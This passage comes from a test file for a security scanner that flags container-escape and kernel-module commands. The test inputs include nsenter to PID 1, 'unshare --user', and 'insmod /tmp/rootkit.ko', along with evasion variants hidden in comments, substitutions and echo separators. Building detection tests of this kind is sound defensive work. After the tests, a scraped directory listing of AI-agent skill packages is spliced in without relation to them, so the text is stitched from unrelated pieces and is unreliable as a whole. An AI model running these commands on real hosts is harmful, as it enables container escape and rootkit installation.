        assert "SA-SH-022" not in _rule_ids(findings)

    def test_modprobe_readonly_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "modprobe -n -v dummy\nmodprobe --show depends\nmodprobe -l net\n")
        assert "SA-SH-022" not in _rule_ids(findings)

    def test_modprobe_variable_arg_negative(self, tmp_path):
        # moby contrib/dockerd-rootless-setuptool.sh shape: variable module
        # args are dual-use and deliberately not flagged (documented gap).
        findings = _scan_sh(tmp_path, "modprobe $iptables_module\n")
        assert "SA-SH-022" not in _rule_ids(findings)

    def test_capsh_print_readonly_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "capsh --print | grep -q 'Bounding set'\ncapsh --decode=00000000a80425fb\n")
        assert "SA-SH-023" not in _rule_ids(findings)

    def test_capsh_comment_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "# ldconfig and capsh are kept in /sbin\n")
        assert "SA-SH-023" not in _rule_ids(findings)

    def test_nsenter_variable_pid_negative(self, tmp_path):
        # moby dockerd-rootless shapes: entering a $pid's namespaces is the
        # rootless-docker lane, not the escape lane (literal PID 1).
        findings = _scan_sh(tmp_path, 'exec nsenter --no-fork -U -t "$pid" -- "$@"\nnsenter -n"$netns" sysctl -w net.ipv4.ip_forward=1\n')
        assert "SA-SH-020" not in _rule_ids(findings)

    def test_unshare_mount_only_negative(self, tmp_path):
        findings = _scan_sh(tmp_path, "unshare --mount --propagation private bash\n")
        assert "SA-SH-020" not in _rule_ids(findings)

    def test_nsenter_zero_padded_pid1(self, tmp_path):
        # -t 01 / --target=001 are still literal PID 1 (container-escape
        # shape); zero padding must not dodge the guard.
        findings = _scan_sh(tmp_path, "nsenter -t 01 -m bash\nnsenter --target=001 -u sh\n")
        ours = [f for f in findings if f.rule_id == "SA-SH-020"]
        assert len(ours) == 2

    def test_comment_backslash_continuation_shell(self, tmp_path):
        # `# \` + newline + payload: in bash the backslash inside a comment
        # is inert, so the second line EXECUTES. The comment gate must apply
        # per physical line, not to a wrongly joined logical line.
        findings = _scan_sh(tmp_path, "# \\\nunshare --user sh\n")
        ours = [f for f in findings if f.rule_id == "SA-SH-020"]
        assert ours and ours[0].line == 2

    def test_modprobe_echo_semicolon_prefix(self, tmp_path):
        # echo-led line whose echo is mere staging prose: the modprobe after
        # the command separator is a live module load, not echo prose.
        findings = _scan_sh(tmp_path, 'echo "setting up"; modprobe uio\n')
        assert "SA-SH-022" in _rule_ids(findings)

    def test_insmod_echo_semicolon_prefix(self, tmp_path):
        findings = _scan_sh(tmp_path, "echo ok; insmod /tmp/rootkit.ko\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_logical_and_prefix(self, tmp_path):
        findings = _scan_sh(tmp_path, "echo ok && modprobe uio\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_prose_with_colon_negative(self, tmp_path):
        # Pure prose: modprobe inside the echo argument, no command
        # separator before it. Still quiet.
        findings = _scan_sh(tmp_path, 'echo "next: modprobe act_pedit"\n')
        assert "SA-SH-022" not in _rule_ids(findings)

    def test_modprobe_echo_background_prefix(self, tmp_path):
        # Single-& background separator: `echo "..." & modprobe uio` runs
        # modprobe for real. Round-4 gap closed.
        findings = _scan_sh(tmp_path, 'echo "setting up" & modprobe uio\n')
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_command_substitution(self, tmp_path):
        # $( ) command substitution: the module load executes to produce the
        # echo argument.
        findings = _scan_sh(tmp_path, "echo $(modprobe uio)\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_insmod_echo_command_substitution_prose_prefix(self, tmp_path):
        findings = _scan_sh(tmp_path, "echo result: $(insmod /tmp/rootkit.ko)\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_insmod_echo_arithmetic_and_substitution(self, tmp_path):
        # $(( arithmetic plus $( substitution on one echo-led line.
        findings = _scan_sh(tmp_path, 'echo "n=$((1+2))" $(insmod /tmp/rootkit.ko)\n')
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_process_substitution_input(self, tmp_path):
        # <( ) process substitution executes the module load in bash.
        # Round-5 gap closed.
        findings = _scan_sh(tmp_path, "echo <(modprobe uio)\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_insmod_echo_process_substitution_prose_prefix(self, tmp_path):
        findings = _scan_sh(tmp_path, "echo result: <(insmod /tmp/rootkit.ko)\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_process_substitution_output(self, tmp_path):
        # >( ) process substitution also executes the command.
        findings = _scan_sh(tmp_path, "echo >(modprobe uio)\n")
        assert "SA-SH-022" in _rule_ids(findings)

    def test_modprobe_echo_pure_redirection_negative(self, tmp_path):
        # Pure redirection: > without ( is not a separator; the target is a
        # filename. Must stay quiet.
        findings = _scan_sh(tmp_path, "echo hi > modprobe-notes\n")
        assert "SA-SH-022" not in _rule_ids(findings)


class TestCommentContinuationPython:
    def test_comment_backslash_continuation_python(self, tmp_path):
        # Same shape in Python: `# \` is an inert comment; the next physical
        # line is live code and must be matched on its own.
        findings = _scan_py(tmp_path, "# \\\nos.unshare(CLONE_NEWUSER)\n")
        assert "SA-PY-025" in _rule_ids(findings)
        ours = [f for f in findings if f.rule_id == "SA-PY-025"]
        assert ours[0].line == 2

    def test_comment_backslash_continuation_python_decimal(self, tmp_path):
        findings = _scan_py(tmp_path, "# staging \\\nlibc.unshare(268435456)\n")
        assert "SA-PY-026" in _rule_ids(findings)
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall